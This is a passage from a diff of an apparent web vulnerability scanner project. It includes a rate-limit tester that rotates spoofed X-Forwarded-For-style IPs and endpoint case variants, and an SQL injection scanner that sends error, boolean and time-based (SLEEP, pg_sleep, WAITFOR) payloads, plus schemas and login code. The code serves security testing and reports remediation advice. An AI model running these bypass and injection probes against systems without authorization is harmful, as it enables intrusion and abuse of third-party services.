|
|
||||||
|
Args:
|
||||||
|
test_request_count: Number of requests to send
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: Rate limiting detection results
|
||||||
|
"""
|
||||||
|
rate_limit_patterns = RateLimitBypassPayloads.get_header_patterns()
|
||||||
|
|
||||||
|
results = {
|
||||||
|
"rate_limit_detected": False,
|
||||||
|
"rate_limit_headers": {},
|
||||||
|
"limit_threshold": None,
|
||||||
|
"reset_window": None,
|
||||||
|
"enforcement_status": None,
|
||||||
|
"attempts_until_limit": None,
|
||||||
|
"request_results": [],
|
||||||
|
}
|
||||||
|
|
||||||
|
for attempt in range(1, test_request_count + 1):
|
||||||
|
try:
|
||||||
|
response = self.make_request("GET", "/")
|
||||||
|
|
||||||
|
headers_lower = {
|
||||||
|
k.lower(): v
|
||||||
|
for k, v in response.headers.items()
|
||||||
|
}
|
||||||
|
|
||||||
|
for header_type, pattern in rate_limit_patterns.items():
|
||||||
|
for header_name, header_value in headers_lower.items():
|
||||||
|
if re.search(pattern,
|
||||||
|
header_name,
|
||||||
|
re.IGNORECASE):
|
||||||
|
results["rate_limit_headers"][
|
||||||
|
header_type] = {
|
||||||
|
"header_name": header_name,
|
||||||
|
"value": header_value,
|
||||||
|
}
|
||||||
|
results["rate_limit_detected"] = True
|
||||||
|
|
||||||
|
results["request_results"].append(
|
||||||
|
{
|
||||||
|
"attempt":
|
||||||
|
attempt,
|
||||||
|
"status_code":
|
||||||
|
response.status_code,
|
||||||
|
"response_time_ms":
|
||||||
|
round(
|
||||||
|
getattr(response,
|
||||||
|
"request_time",
|
||||||
|
0.0) * 1000,
|
||||||
|
2
|
||||||
|
),
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
if response.status_code == 429:
|
||||||
|
results["enforcement_status"] = "ACTIVE"
|
||||||
|
results["attempts_until_limit"] = attempt
|
||||||
|
|
||||||
|
retry_after = response.headers.get("Retry-After")
|
||||||
|
if retry_after:
|
||||||
|
results["retry_after_seconds"] = retry_after
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
results["request_results"].append(
|
||||||
|
{
|
||||||
|
"attempt": attempt,
|
||||||
|
"error": str(e)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
break
|
||||||
|
|
||||||
|
if results["rate_limit_detected"]:
|
||||||
|
if "limit" in results["rate_limit_headers"]:
|
||||||
|
results["limit_threshold"] = results[
|
||||||
|
"rate_limit_headers"]["limit"]["value"]
|
||||||
|
|
||||||
|
if "reset" in results["rate_limit_headers"]:
|
||||||
|
results["reset_window"] = results["rate_limit_headers"
|
||||||
|
]["reset"]["value"]
|
||||||
|
|
||||||
|
if not results["enforcement_status"]:
|
||||||
|
results["enforcement_status"] = "HEADERS_ONLY"
|
||||||
|
else:
|
||||||
|
results["enforcement_status"] = "NONE"
|
||||||
|
|
||||||
|
return results
|
||||||
|
|
||||||
|
def _test_bypass_techniques(self) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Test common rate limit bypass techniques
|
||||||
|
|
||||||
|
Based on HackTricks and OWASP:
|
||||||
|
- IP header spoofing (X-Forwarded-For, X-Real-IP, etc.)
|
||||||
|
- Endpoint case variations
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: Bypass test results
|
||||||
|
"""
|
||||||
|
results = {
|
||||||
|
"bypass_successful": False,
|
||||||
|
"bypass_method": None,
|
||||||
|
"bypass_details": {},
|
||||||
|
}
|
||||||
|
|
||||||
|
ip_bypass = self._test_ip_header_bypass()
|
||||||
|
if ip_bypass["bypass_successful"]:
|
||||||
|
results["bypass_successful"] = True
|
||||||
|
results["bypass_method"] = "IP Header Spoofing"
|
||||||
|
results["bypass_details"] = ip_bypass
|
||||||
|
return results
|
||||||
|
|
||||||
|
endpoint_bypass = self._test_endpoint_variation_bypass()
|
||||||
|
if endpoint_bypass["bypass_successful"]:
|
||||||
|
results["bypass_successful"] = True
|
||||||
|
results["bypass_method"] = "Endpoint Case Variation"
|
||||||
|
results["bypass_details"] = endpoint_bypass
|
||||||
|
return results
|
||||||
|
|
||||||
|
results["bypass_details"] = {
|
||||||
|
"ip_header_test": ip_bypass,
|
||||||
|
"endpoint_variation_test": endpoint_bypass,
|
||||||
|
}
|
||||||
|
|
||||||
|
return results
|
||||||
|
|
||||||
|
def _test_ip_header_bypass(self,
|
||||||
|
test_count: int = 15) -> dict[str,
|
||||||
|
Any]:
|
||||||
|
"""
|
||||||
|
Test if rate limiting can be bypassed with IP spoofing headers
|
||||||
|
|
||||||
|
Many rate limiters trust X-Forwarded-For and similar headers,
|
||||||
|
allowing attackers to bypass limits by rotating fake IPs
|
||||||
|
|
||||||
|
Args:
|
||||||
|
test_count: Number of requests to test
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: IP bypass test results
|
||||||
|
"""
|
||||||
|
bypass_headers = RateLimitBypassPayloads.HEADER_SPOOFING
|
||||||
|
|
||||||
|
for header_dict in bypass_headers:
|
||||||
|
header_name = list(header_dict.keys())[0]
|
||||||
|
success_count = 0
|
||||||
|
|
||||||
|
for i in range(test_count):
|
||||||
|
fake_ip = f"10.{i % 255}.{(i // 255) % 255}.1"
|
||||||
|
test_headers = {header_name: fake_ip}
|
||||||
|
|
||||||
|
try:
|
||||||
|
response = self.make_request(
|
||||||
|
"GET",
|
||||||
|
"/",
|
||||||
|
headers = test_headers
|
||||||
|
)
|
||||||
|
|
||||||
|
if response.status_code != 429:
|
||||||
|
success_count += 1
|
||||||
|
else:
|
||||||
|
break
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
break
|
||||||
|
|
||||||
|
if success_count == test_count:
|
||||||
|
return {
|
||||||
|
"bypass_successful": True,
|
||||||
|
"header_used": header_name,
|
||||||
|
"requests_completed": success_count,
|
||||||
|
"fake_ip_example": "10.0.0.1",
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
"bypass_successful": False,
|
||||||
|
"headers_tested":
|
||||||
|
[list(h.keys())[0] for h in bypass_headers],
|
||||||
|
}
|
||||||
|
|
||||||
|
def _test_endpoint_variation_bypass(self) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Test if endpoint case variations bypass rate limiting
|
||||||
|
|
||||||
|
Some rate limiters are case-sensitive or miss URL variations
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: Endpoint variation test results
|
||||||
|
"""
|
||||||
|
variations = RateLimitBypassPayloads.get_endpoint_variations()
|
||||||
|
|
||||||
|
for variant in variations:
|
||||||
|
success_count = 0
|
||||||
|
|
||||||
|
for _ in range(10):
|
||||||
|
try:
|
||||||
|
response = self.make_request("GET", variant)
|
||||||
|
if response.status_code != 429:
|
||||||
|
success_count += 1
|
||||||
|
else:
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
break
|
||||||
|
|
||||||
|
if success_count == 10 and variant != "/":
|
||||||
|
return {
|
||||||
|
"bypass_successful": True,
|
||||||
|
"bypass_variant": variant,
|
||||||
|
"requests_completed": success_count,
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
"bypass_successful": False,
|
||||||
|
"variations_tested": variations,
|
||||||
|
}
|
||||||
|
|
||||||
|
def _create_vulnerable_result(
|
||||||
|
self,
|
||||||
|
details: str,
|
||||||
|
evidence: dict[str,
|
||||||
|
Any],
|
||||||
|
severity: Severity = Severity.HIGH,
|
||||||
|
recommendations: list[str] | None = None,
|
||||||
|
) -> TestResultCreate:
|
||||||
|
"""
|
||||||
|
Create a vulnerable scan result
|
||||||
|
|
||||||
|
Args:
|
||||||
|
details: Vulnerability description
|
||||||
|
evidence: Evidence dictionary
|
||||||
|
severity: Vulnerability severity
|
||||||
|
recommendations: List of remediation recommendations
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
TestResultCreate: Vulnerable result
|
||||||
|
"""
|
||||||
|
return TestResultCreate(
|
||||||
|
test_name = TestType.RATE_LIMIT,
|
||||||
|
status = ScanStatus.VULNERABLE,
|
||||||
|
severity = severity,
|
||||||
|
details = details,
|
||||||
|
evidence_json = evidence,
|
||||||
|
recommendations_json = recommendations or [],
|
||||||
|
)
|
||||||
|
|
@ -0,0 +1,316 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2025
|
||||||
|
SQL injection vulnerability scanner
|
||||||
|
|
||||||
|
Tests error based, boolean based, and time based blind SQLi
|
||||||
|
"""
|
||||||
|
|
||||||
|
import time
|
||||||
|
import statistics
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
from ..core.enums import (
|
||||||
|
ScanStatus,
|
||||||
|
Severity,
|
||||||
|
TestType,
|
||||||
|
)
|
||||||
|
from ..schemas.test_result_schemas import TestResultCreate
|
||||||
|
|
||||||
|
from .payloads import SQLiPayloads
|
||||||
|
from .base_scanner import BaseScanner
|
||||||
|
|
||||||
|
|
||||||
|
class SQLiScanner(BaseScanner):
|
||||||
|
"""
|
||||||
|
Tests for SQL injection vulnerabilities
|
||||||
|
|
||||||
|
Detects:
|
||||||
|
- Error-based SQLi (database error messages)
|
||||||
|
- Boolean-based blind SQLi (response differences)
|
||||||
|
- Time-based blind SQLi (response timing analysis)
|
||||||
|
|
||||||
|
Uses payloads covering MySQL, PostgreSQL, MSSQL, Oracle
|
||||||
|
"""
|
||||||
|
|
||||||
|
def scan(self) -> TestResultCreate:
|
||||||
|
"""
|
||||||
|
Execute SQL injection tests
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
TestResultCreate: Scan result with findings
|
||||||
|
"""
|
||||||
|
error_based_test = self._test_error_based_sqli()
|
||||||
|
if error_based_test["vulnerable"]:
|
||||||
|
return self._create_vulnerable_result(
|
||||||
|
details=f"Error-based SQL injection detected: {error_based_test['database_type']}",
|
||||||
|
evidence=error_based_test,
|
||||||
|
severity=Severity.CRITICAL,
|
||||||
|
recommendations=[
|
||||||
|
"Use parameterized queries (prepared statements)",
|
||||||
|
"Never concatenate user input into SQL queries",
|
||||||
|
"Implement input validation and sanitization",
|
||||||
|
"Disable detailed error messages in production",
|
||||||
|
"Use ORM frameworks with proper escaping",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
boolean_based_test = self._test_boolean_based_sqli()
|
||||||
|
if boolean_based_test["vulnerable"]:
|
||||||
|
return self._create_vulnerable_result(
|
||||||
|
details="Boolean-based blind SQL injection detected",
|
||||||
|
evidence=boolean_based_test,
|
||||||
|
severity=Severity.CRITICAL,
|
||||||
|
recommendations=[
|
||||||
|
"Use parameterized queries for all database operations",
|
||||||
|
"Implement proper input validation",
|
||||||
|
"Avoid exposing different responses for true/false conditions",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
time_based_test = self._test_time_based_sqli()
|
||||||
|
if time_based_test["vulnerable"]:
|
||||||
|
return self._create_vulnerable_result(
|
||||||
|
details=f"Time-based blind SQL injection detected: {time_based_test['database_type']}",
|
||||||
|
evidence=time_based_test,
|
||||||
|
severity=Severity.CRITICAL,
|
||||||
|
recommendations=[
|
||||||
|
"Use parameterized queries exclusively",
|
||||||
|
"Implement strict input validation",
|
||||||
|
"Monitor for unusual response time patterns",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
return TestResultCreate(
|
||||||
|
test_name=TestType.SQLI,
|
||||||
|
status=ScanStatus.SAFE,
|
||||||
|
severity=Severity.INFO,
|
||||||
|
details="No SQL injection vulnerabilities detected",
|
||||||
|
evidence_json={
|
||||||
|
"error_based_test": error_based_test,
|
||||||
|
"boolean_based_test": boolean_based_test,
|
||||||
|
"time_based_test": time_based_test,
|
||||||
|
},
|
||||||
|
recommendations_json=[
|
||||||
|
"Continue using parameterized queries",
|
||||||
|
"Regularly update security testing",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
def _test_error_based_sqli(self) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Test for error based SQL injection
|
||||||
|
|
||||||
|
Detects database errors in responses indicating SQLi vulnerability
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: Error-based SQLi test results
|
||||||
|
"""
|
||||||
|
error_signatures = SQLiPayloads.get_error_signatures()
|
||||||
|
|
||||||
|
basic_payloads = SQLiPayloads.BASIC_AUTHENTICATION_BYPASS
|
||||||
|
|
||||||
|
for payload in basic_payloads:
|
||||||
|
try:
|
||||||
|
response = self.make_request(
|
||||||
|
"GET", f"/?id={payload}"
|
||||||
|
)
|
||||||
|
|
||||||
|
response_text_lower = response.text.lower()
|
||||||
|
|
||||||
|
for db_type, signatures in error_signatures.items():
|
||||||
|
for signature in signatures:
|
||||||
|
if signature in response_text_lower:
|
||||||
|
return {
|
||||||
|
"vulnerable": True,
|
||||||
|
"database_type": db_type,
|
||||||
|
"payload": payload,
|
||||||
|
"status_code": response.status_code,
|
||||||
|
"error_signature": signature,
|
||||||
|
"response_excerpt": response.text[:500],
|
||||||
|
}
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"payloads_tested": len(basic_payloads),
|
||||||
|
"description": "No database errors detected",
|
||||||
|
}
|
||||||
|
|
||||||
|
def _test_boolean_based_sqli(self) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Test for boolean based blind SQL injection
|
||||||
|
|
||||||
|
Compares responses from true vs false conditions to detect SQLi
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: Boolean based SQLi test results
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
baseline_response = self.make_request("GET", "/?id=1")
|
||||||
|
baseline_length = len(baseline_response.text)
|
||||||
|
baseline_status = baseline_response.status_code
|
||||||
|
|
||||||
|
if baseline_status != 200:
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"description": "Baseline request failed",
|
||||||
|
"baseline_status": baseline_status,
|
||||||
|
}
|
||||||
|
|
||||||
|
boolean_payloads = SQLiPayloads.BOOLEAN_BASED_BLIND
|
||||||
|
true_payloads = [p for p in boolean_payloads if "AND '1'='1" in p or "AND 1=1" in p]
|
||||||
|
false_payloads = [p for p in boolean_payloads if "AND '1'='2" in p or "AND 1=2" in p or "AND 1=0" in p]
|
||||||
|
|
||||||
|
true_lengths = []
|
||||||
|
for payload in true_payloads:
|
||||||
|
response = self.make_request("GET", f"/?id={payload}")
|
||||||
|
true_lengths.append(len(response.text))
|
||||||
|
|
||||||
|
false_lengths = []
|
||||||
|
for payload in false_payloads:
|
||||||
|
response = self.make_request("GET", f"/?id={payload}")
|
||||||
|
false_lengths.append(len(response.text))
|
||||||
|
|
||||||
|
avg_true = statistics.mean(true_lengths)
|
||||||
|
avg_false = statistics.mean(false_lengths)
|
||||||
|
|
||||||
|
length_diff = abs(avg_true - avg_false)
|
||||||
|
|
||||||
|
if length_diff > 100 and avg_true != avg_false:
|
||||||
|
return {
|
||||||
|
"vulnerable": True,
|
||||||
|
"baseline_length": baseline_length,
|
||||||
|
"true_condition_avg_length": avg_true,
|
||||||
|
"false_condition_avg_length": avg_false,
|
||||||
|
"length_difference": length_diff,
|
||||||
|
"confidence": "HIGH"
|
||||||
|
if length_diff > 500
|
||||||
|
else "MEDIUM",
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"description": "No boolean-based SQLi detected",
|
||||||
|
"length_difference": length_diff,
|
||||||
|
}
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"error": str(e),
|
||||||
|
"description": "Error testing boolean-based SQLi",
|
||||||
|
}
|
||||||
|
|
||||||
|
def _test_time_based_sqli(
|
||||||
|
self, delay_seconds: int = 5
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Test for time based blind SQL injection
|
||||||
|
|
||||||
|
Uses baseline timing comparison with statistical analysis
|
||||||
|
for false positive reduction
|
||||||
|
|
||||||
|
Args:
|
||||||
|
delay_seconds: Delay to inject (from settings)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: Time-based SQLi test results
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
baseline_mean, baseline_stdev = self.get_baseline_timing("/")
|
||||||
|
|
||||||
|
threshold = baseline_mean + (3 * baseline_stdev)
|
||||||
|
expected_delay_time = baseline_mean + delay_seconds
|
||||||
|
|
||||||
|
all_time_payloads = SQLiPayloads.TIME_BASED_BLIND
|
||||||
|
|
||||||
|
delay_payloads = {
|
||||||
|
"mysql": [p for p in all_time_payloads if "SLEEP" in p],
|
||||||
|
"postgres": [p for p in all_time_payloads if "pg_sleep" in p],
|
||||||
|
"mssql": [p for p in all_time_payloads if "WAITFOR" in p],
|
||||||
|
}
|
||||||
|
|
||||||
|
for db_type, payloads in delay_payloads.items():
|
||||||
|
for payload in payloads:
|
||||||
|
delay_times = []
|
||||||
|
|
||||||
|
for _ in range(3):
|
||||||
|
try:
|
||||||
|
response = self.make_request(
|
||||||
|
"GET",
|
||||||
|
f"/?id={payload}",
|
||||||
|
timeout=delay_seconds + 10,
|
||||||
|
)
|
||||||
|
elapsed = getattr(response, "request_time", 0.0)
|
||||||
|
delay_times.append(elapsed)
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
delay_times.append(delay_seconds + 10)
|
||||||
|
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
avg_delay = statistics.mean(delay_times)
|
||||||
|
|
||||||
|
if avg_delay >= expected_delay_time - 1:
|
||||||
|
confidence = (
|
||||||
|
"HIGH"
|
||||||
|
if avg_delay >= expected_delay_time
|
||||||
|
else "MEDIUM"
|
||||||
|
)
|
||||||
|
|
||||||
|
return {
|
||||||
|
"vulnerable": True,
|
||||||
|
"database_type": db_type,
|
||||||
|
"payload": payload,
|
||||||
|
"baseline_time": f"{baseline_mean:.3f}s",
|
||||||
|
"response_time": f"{avg_delay:.3f}s",
|
||||||
|
"expected_delay": f"{expected_delay_time:.3f}s",
|
||||||
|
"confidence": confidence,
|
||||||
|
"individual_times": [
|
||||||
|
f"{t:.3f}s" for t in delay_times
|
||||||
|
],
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"baseline_time": f"{baseline_mean:.3f}s",
|
||||||
|
"threshold": f"{threshold:.3f}s",
|
||||||
|
"description": "No time-based SQLi detected",
|
||||||
|
}
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"error": str(e),
|
||||||
|
"description": "Error testing time-based SQLi",
|
||||||
|
}
|
||||||
|
|
||||||
|
def _create_vulnerable_result(
|
||||||
|
self,
|
||||||
|
details: str,
|
||||||
|
evidence: dict[str, Any],
|
||||||
|
severity: Severity = Severity.CRITICAL,
|
||||||
|
recommendations: list[str] | None = None,
|
||||||
|
) -> TestResultCreate:
|
||||||
|
"""
|
||||||
|
Create a vulnerable scan result
|
||||||
|
|
||||||
|
Args:
|
||||||
|
details: Vulnerability description
|
||||||
|
evidence: Evidence dictionary
|
||||||
|
severity: Vulnerability severity
|
||||||
|
recommendations: List of remediation recommendations
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
TestResultCreate: Vulnerable result
|
||||||
|
"""
|
||||||
|
return TestResultCreate(
|
||||||
|
test_name=TestType.SQLI,
|
||||||
|
status=ScanStatus.VULNERABLE,
|
||||||
|
severity=severity,
|
||||||
|
details=details,
|
||||||
|
evidence_json=evidence,
|
||||||
|
recommendations_json=recommendations or [],
|
||||||
|
)
|
||||||
|
|
@ -0,0 +1,30 @@
|
||||||
|
"""Pydantic schemas for API validation and serialization"""
|
||||||
|
|
||||||
|
from .user_schemas import (
|
||||||
|
TokenResponse,
|
||||||
|
UserCreate,
|
||||||
|
UserLogin,
|
||||||
|
UserResponse,
|
||||||
|
)
|
||||||
|
from .scan_schemas import (
|
||||||
|
ScanRequest,
|
||||||
|
ScanResponse,
|
||||||
|
)
|
||||||
|
from .test_result_schemas import (
|
||||||
|
TestResultCreate,
|
||||||
|
TestResultResponse,
|
||||||
|
)
|
||||||
|
|
||||||
|
__all__ = [
|
||||||
|
# User schemas
|
||||||
|
"UserCreate",
|
||||||
|
"UserLogin",
|
||||||
|
"UserResponse",
|
||||||
|
"TokenResponse",
|
||||||
|
# Scan schemas
|
||||||
|
"ScanRequest",
|
||||||
|
"ScanResponse",
|
||||||
|
# Test result schemas
|
||||||
|
"TestResultCreate",
|
||||||
|
"TestResultResponse",
|
||||||
|
]
|
||||||
|
|
@ -0,0 +1,63 @@
|
||||||
|
"""
|
||||||
|
ⒸAngelaMos | 2025
|
||||||
|
Scan model API validation and serialization.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
from pydantic import (
|
||||||
|
BaseModel,
|
||||||
|
ConfigDict,
|
||||||
|
Field,
|
||||||
|
HttpUrl,
|
||||||
|
)
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
from ..config import settings
|
||||||
|
from ..core.enums import TestType
|
||||||
|
|
||||||
|
|
||||||
|
class ScanRequest(BaseModel):
|
||||||
|
"""
|
||||||
|
Schema for creating a new security scan
|
||||||
|
"""
|
||||||
|
target_url: HttpUrl = Field(max_length = settings.URL_MAX_LENGTH)
|
||||||
|
auth_token: str | None = None
|
||||||
|
tests_to_run: list[TestType] = Field(min_length = 1)
|
||||||
|
max_requests: int = Field(
|
||||||
|
default = settings.DEFAULT_MAX_REQUESTS,
|
||||||
|
ge = 1,
|
||||||
|
le = settings.SCANNER_MAX_CONCURRENT_REQUESTS,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class ScanResponse(BaseModel):
|
||||||
|
"""
|
||||||
|
Schema for scan data in API responses
|
||||||
|
"""
|
||||||
|
# Circular to avoid circular imports
|
||||||
|
from .test_result_schemas import TestResultResponse
|
||||||
|
model_config = ConfigDict(from_attributes = True)
|
||||||
|
|
||||||
|
id: int
|
||||||
|
user_id: int
|
||||||
|
target_url: str
|
||||||
|
scan_date: datetime
|
||||||
|
created_at: datetime
|
||||||
|
test_results: list[TestResultResponse] = []
|
||||||
|
|
||||||
|
@property
|
||||||
|
def total_tests(self) -> int:
|
||||||
|
"""
|
||||||
|
Total number of tests run
|
||||||
|
"""
|
||||||
|
return len(self.test_results)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def vulnerabilities_found(self) -> int:
|
||||||
|
"""
|
||||||
|
Number of vulnerabilities found
|
||||||
|
"""
|
||||||
|
return sum(
|
||||||
|
1 for r in self.test_results if r.status == "vulnerable"
|
||||||
|
)
|
||||||
|
|
@ -0,0 +1,61 @@
|
||||||
|
"""
|
||||||
|
ⒸAngelaMos | 2025
|
||||||
|
TestResult model API validation and serialization
|
||||||
|
"""
|
||||||
|
|
||||||
|
from typing import Any
|
||||||
|
from datetime import datetime
|
||||||
|
from pydantic import (
|
||||||
|
BaseModel,
|
||||||
|
ConfigDict,
|
||||||
|
Field,
|
||||||
|
)
|
||||||
|
|
||||||
|
from ..core.enums import (
|
||||||
|
ScanStatus,
|
||||||
|
Severity,
|
||||||
|
TestType,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class TestResultCreate(BaseModel):
|
||||||
|
"""
|
||||||
|
Schema for creating a new test result (used by scanners)
|
||||||
|
"""
|
||||||
|
test_name: TestType
|
||||||
|
status: ScanStatus
|
||||||
|
severity: Severity
|
||||||
|
details: str
|
||||||
|
evidence_json: dict[str, Any] = Field(default_factory = dict)
|
||||||
|
recommendations_json: list[str] = Field(default_factory = list)
|
||||||
|
|
||||||
|
|
||||||
|
class TestResultResponse(BaseModel):
|
||||||
|
"""
|
||||||
|
Schema for individual test result in API responses
|
||||||
|
"""
|
||||||
|
model_config = ConfigDict(from_attributes = True)
|
||||||
|
|
||||||
|
id: int
|
||||||
|
scan_id: int
|
||||||
|
test_name: TestType
|
||||||
|
status: ScanStatus
|
||||||
|
severity: Severity
|
||||||
|
details: str
|
||||||
|
evidence_json: dict[str, Any]
|
||||||
|
recommendations_json: list[str]
|
||||||
|
created_at: datetime
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_vulnerable(self) -> bool:
|
||||||
|
"""
|
||||||
|
Check if result indicates a vulnerability
|
||||||
|
"""
|
||||||
|
return self.status == ScanStatus.VULNERABLE
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_high_severity(self) -> bool:
|
||||||
|
"""
|
||||||
|
Check if vulnerability is high severity
|
||||||
|
"""
|
||||||
|
return self.severity == Severity.HIGH
|
||||||
|
|
@ -0,0 +1,55 @@
|
||||||
|
"""
|
||||||
|
Pydantic schemas for User model - API validation and serialization.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
from pydantic import BaseModel, ConfigDict, EmailStr, Field
|
||||||
|
|
||||||
|
from ..config import settings
|
||||||
|
|
||||||
|
|
||||||
|
class UserCreate(BaseModel):
|
||||||
|
"""
|
||||||
|
Schema for user registration request.
|
||||||
|
"""
|
||||||
|
|
||||||
|
email: EmailStr
|
||||||
|
password: str = Field(
|
||||||
|
min_length = settings.PASSWORD_MIN_LENGTH,
|
||||||
|
max_length = settings.PASSWORD_MAX_LENGTH,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class UserLogin(BaseModel):
|
||||||
|
"""
|
||||||
|
Schema for user login request.
|
||||||
|
"""
|
||||||
|
|
||||||
|
email: EmailStr
|
||||||
|
password: str
|
||||||
|
|
||||||
|
|
||||||
|
class UserResponse(BaseModel):
|
||||||
|
"""
|
||||||
|
Schema for user data in API responses.
|
||||||
|
Excludes sensitive fields like hashed_password.
|
||||||
|
"""
|
||||||
|
|
||||||
|
model_config = ConfigDict(from_attributes = True)
|
||||||
|
|
||||||
|
id: int
|
||||||
|
email: str
|
||||||
|
is_active: bool
|
||||||
|
created_at: datetime
|
||||||
|
|
||||||
|
|
||||||
|
class TokenResponse(BaseModel):
|
||||||
|
"""
|
||||||
|
Schema for JWT token response.
|
||||||
|
"""
|
||||||
|
|
||||||
|
access_token: str
|
||||||
|
token_type: str = "bearer"
|
||||||
|
|
@ -0,0 +1,13 @@
|
||||||
|
"""
|
||||||
|
ⒸAngelaMos | 2025
|
||||||
|
Biz logic layer for orchestrating repositories and scanners
|
||||||
|
"""
|
||||||
|
|
||||||
|
from .auth_service import AuthService
|
||||||
|
from .scan_service import ScanService
|
||||||
|
|
||||||
|
|
||||||
|
__all__ = [
|
||||||
|
"AuthService",
|
||||||
|
"ScanService",
|
||||||
|
]
|
||||||
|
|
@ -0,0 +1,132 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2025
|
||||||
|
Authentication service for user registration and login
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
from datetime import timedelta
|
||||||
|
from sqlalchemy.orm import Session
|
||||||
|
from fastapi import HTTPException, status
|
||||||
|
|
||||||
|
from ..config import settings
|
||||||
|
from ..core.security import (
|
||||||
|
create_access_token,
|
||||||
|
hash_password,
|
||||||
|
verify_password,
|
||||||
|
)
|
||||||
|
from ..schemas.user_schemas import (
|
||||||
|
TokenResponse,
|
||||||
|
UserCreate,
|
||||||
|
UserLogin,
|
||||||
|
UserResponse,
|
||||||
|
)
|
||||||
|
from ..repositories.user_repository import UserRepository
|
||||||
|
|
||||||
|
|
||||||
|
class AuthService:
|
||||||
|
"""
|
||||||
|
User registration, login, and token generation
|
||||||
|
"""
|
||||||
|
@staticmethod
|
||||||
|
def register_user(
|
||||||
|
db: Session,
|
||||||
|
user_data: UserCreate
|
||||||
|
) -> UserResponse:
|
||||||
|
"""
|
||||||
|
Register a new user
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
user_data: User registration data
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
UserResponse: Created user data
|
||||||
|
"""
|
||||||
|
existing_user = UserRepository.get_by_email(
|
||||||
|
db,
|
||||||
|
user_data.email
|
||||||
|
)
|
||||||
|
if existing_user:
|
||||||
|
raise HTTPException(
|
||||||
|
status_code = status.HTTP_400_BAD_REQUEST,
|
||||||
|
detail = "Email already registered",
|
||||||
|
)
|
||||||
|
|
||||||
|
hashed_password = hash_password(user_data.password)
|
||||||
|
|
||||||
|
user = UserRepository.create_user(
|
||||||
|
db = db,
|
||||||
|
email = user_data.email,
|
||||||
|
hashed_password = hashed_password,
|
||||||
|
)
|
||||||
|
|
||||||
|
return UserResponse.model_validate(user)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def login_user(
|
||||||
|
db: Session,
|
||||||
|
login_data: UserLogin
|
||||||
|
) -> TokenResponse:
|
||||||
|
"""
|
||||||
|
Authenticate user and generate access token
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
login_data: User login credentials
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
TokenResponse: JWT access token
|
||||||
|
"""
|
||||||
|
user = UserRepository.get_by_email(db, login_data.email)
|
||||||
|
|
||||||
|
if not user:
|
||||||
|
raise HTTPException(
|
||||||
|
status_code = status.HTTP_401_UNAUTHORIZED,
|
||||||
|
detail = "Invalid email or password",
|
||||||
|
)
|
||||||
|
|
||||||
|
if not verify_password(login_data.password,
|
||||||
|
user.hashed_password):
|
||||||
|
raise HTTPException(
|
||||||
|
status_code = status.HTTP_401_UNAUTHORIZED,
|
||||||
|
detail = "Invalid email or password",
|
||||||
|
)
|
||||||
|
|
||||||
|
